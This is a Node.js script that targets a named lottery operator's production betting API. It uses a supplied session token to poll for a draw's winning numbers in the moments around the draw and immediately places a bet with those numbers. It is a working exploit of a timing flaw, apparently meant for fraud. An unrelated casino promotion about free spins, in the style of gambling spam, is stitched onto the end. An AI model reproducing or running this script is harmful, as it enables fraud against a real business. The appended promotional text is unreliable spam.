|
const fetch = require("node-fetch"); |
|
|
|
const next_draw_api_url = "https://bornlucky-prod.gamevy.com/health-lottery/next-draw"; |
|
const draw_api_url = "https://bornlucky-prod.gamevy.com/health-lottery/draws/"; |
|
const bet_api_url = "https://bornlucky-prod.gamevy.com/health-lottery/bet"; |
|
|
|
const refer_base = "https://games.gamevy.com/d/"; |
|
const refer_queries = "/index.html?env=prod®ion=LON&platform=geneity&mode=real¤cy=GBP&lang=en-GB&operator=health-lottery&numbers=&lobbyUrl=&clientType=desktop&sid="; |
|
|
|
const time_before_spam = 200; |
|
|
|
var sid = process.argv[2]; |
|
var app_id = process.argv[3]; |
|
var sid_header = { "x-gamevy-session-token": sid }; |
|
var bet_header = { |
|
"User-Agent": "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0", |
|
"Accept": "*/*", |
|
"Accept-Language": "en-GB,en;q=0.5", |
|
"Accept-Encoding": "gzip, deflate, br", |
|
"Origin": "https://games.gamevy.com", |
|
"Connection": "keep-alive", |
|
"Referer": refer_base + app_id + refer_queries + sid, |
|
"x-gamevy-session-token": sid, |
|
"Content-type": "application/json; charset=UTF-8" |
|
}; |
|
|
|
async function get_next_draw() { |
|
var res = await fetch(next_draw_api_url, { headers: sid_header }); |
|
if(!res.ok) { process.exit() }; |
|
var info = await res.json(); |
|
return info['nextDraw']; |
|
} |
|
|
|
async function get_draw_nums(draw_url) { |
|
var res = await fetch(draw_url, { headers: sid_header }); |
|
var info = await res.json(); |
|
return info['numbers']; |
|
} |
|
|
|
async function bet(draw_id, draw_nums) { |
|
p(`bet initiated with numbers ${draw_nums}`); |
|
var json = JSON.stringify({ drawId: draw_id, lines: [{ numbers: draw_nums }], version: "default" }); |
|
var res = await fetch(bet_api_url, { |
|
method: 'POST', |
|
headers: bet_header, |
|
body: json, |
|
}); |
|
p(res); |
|
var res_body = await res.json(); |
|
p(res_body); |
|
return res; |
|
} |
|
|
|
async function spam(draw_id) { |
|
p(`spam initiated with draw_id ${draw_id}`); |
|
var draw_url = draw_api_url + draw_id; |
|
|
|
var betted = false; |
|
while(!betted) { |
|
var draw_nums = await get_draw_nums(draw_url); |
|
if(draw_nums != null) { |
|
var res = bet(draw_id, draw_nums); |
|
betted = true; |
|
} |
|
}; |
|
} |
|
|
|
if (require.main === module) { |
|
get_next_draw().then((info) => { |
|
var draw_id = info['id']; |
|
var draw_at = info['drawAt']; |
|
|
|
var draw_date = new Date(draw_at); |
|
|
|
var time_til_action = draw_date.getTime() - Date.now() - time_before_spam; |
|
p(`time_til_action: ${time_til_action}ms`); |
|
|
|
setTimeout(spam, time_til_action, draw_id); |
|
}); |
|
} |
|
|
|
function p(msg) { |
|
console.log(msg); |
|
} |
While visiting family in Cairns, my older brother enthusiastically mentioned something about 25 free spins no deposit needed read more. I gave it a try out of boredom and quickly got hooked—the pokies were enjoyable and effortless, like snorkelling near the Great Barrier Reef. A few spins later, I had won enough to cover our entire family's lunch. Who knew boredom could be so rewarding?